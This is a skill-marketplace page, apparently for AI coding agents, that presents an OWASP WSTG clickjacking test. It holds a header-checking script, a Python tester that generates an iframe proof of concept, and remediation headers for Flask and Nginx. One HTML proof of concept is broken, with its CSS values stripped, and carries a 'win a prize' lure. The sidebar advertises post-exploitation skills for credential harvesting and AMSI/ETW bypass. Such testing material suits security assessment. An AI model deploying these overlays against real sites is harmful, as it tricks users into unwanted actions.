用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-09命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
正在显示 SKILL.md
基于 SOC 职业分类
| name | wstg-clnt-09 |
| description | Testing for Clickjacking |
| category | client-side |
| owasp_id | WSTG-CLNT-09 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-922"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-09
Testing for Clickjacking
Clickjacking (UI redressing) tricks users into clicking hidden elements by overlaying transparent frames over legitimate UI. Attackers can make users unknowingly perform actions like changing settings, making purchases, or granting permissions.
#!/bin/bash
TARGET="https://target.com"
# Check framing protection headers
curl -sI "$TARGET" | grep -iE "x-frame-options|content-security-policy"
# X-Frame-Options values:
# DENY - Cannot be framed
# SAMEORIGIN - Only same origin can frame
# ALLOW-FROM uri - Specific origin (deprecated)
# CSP frame-ancestors:
# frame-ancestors 'self' - Only same origin
# frame-ancestors 'none' - Cannot be framed
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
#target {
position: absolute;
: ;
: ;
: ;
: ;
}
{
: absolute;
: ;
: ;
: ;
}
{
: absolute;
: ;
: ;
: ;
: ;
}
Click to win a prize!
CLICK HERE TO WIN!
#!/usr/bin/env python3
import requests
class ClickjackingTester:
def __init__(self, url):
self.url = url
self.findings = []
def test_framing_protection(self):
"""Test for clickjacking protection"""
print(f"[*] Testing clickjacking protection: {self.url}")
response = requests.get(self.url)
# Check X-Frame-Options
xfo = response.headers.get('X-Frame-Options', '').upper()
csp = response.headers.get('Content-Security-Policy', '')
# Parse frame-ancestors from CSP
frame_ancestors = ''
if 'frame-ancestors' in csp:
import re
match = re.search(r"frame-ancestors\s+([^;]+)", csp)
if match:
frame_ancestors = match.group(1)
print(f" X-Frame-Options: {xfo or 'Not set'}")
print(f" CSP frame-ancestors: {frame_ancestors or 'Not set'}")
if not xfo and not frame_ancestors:
print("[VULN] No framing protection!")
self.findings.append({
"issue": "No clickjacking protection",
"severity": "Medium"
})
elif xfo == 'ALLOW-FROM':
print("[WARN] ALLOW-FROM is deprecated")
# Check for JavaScript frame-busting
if 'top.location' in response.text or 'self !== top' in response.text:
print("[INFO] JavaScript frame-busting present (can be bypassed)")
def generate_poc(self):
"""Generate clickjacking PoC"""
poc = f'''<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
iframe {{
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.3;
}}
</style>
</head>
<body>
<h1>Clickjacking Test</h1>
<iframe src="{self.url}"></iframe>
</body>
</html>'''
return poc
# Usage
tester = ClickjackingTester("https://target.com/settings")
tester.test_framing_protection()
print("\nPoC HTML:")
print(tester.generate_poc())
# Add X-Frame-Options header
@app.after_request
def add_security_headers(response):
response.headers['X-Frame-Options'] = 'DENY'
# Or use CSP (more flexible)
response.headers['Content-Security-Policy'] = "frame-ancestors 'self'"
return response
# Nginx configuration
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'self'" always;
| Finding | CVSS | Severity |
|---|---|---|
| No framing protection on sensitive page | 4.3 | Medium |
| ALLOW-FROM (deprecated) | 3.5 | Low |
| CWE ID | Title |
|---|---|
| CWE-1021 | Improper Restriction of Rendered UI Layers |
[ ] X-Frame-Options checked
[ ] CSP frame-ancestors checked
[ ] JavaScript frame-busting analyzed
[ ] PoC created
[ ] Sensitive pages tested
[ ] Findings documented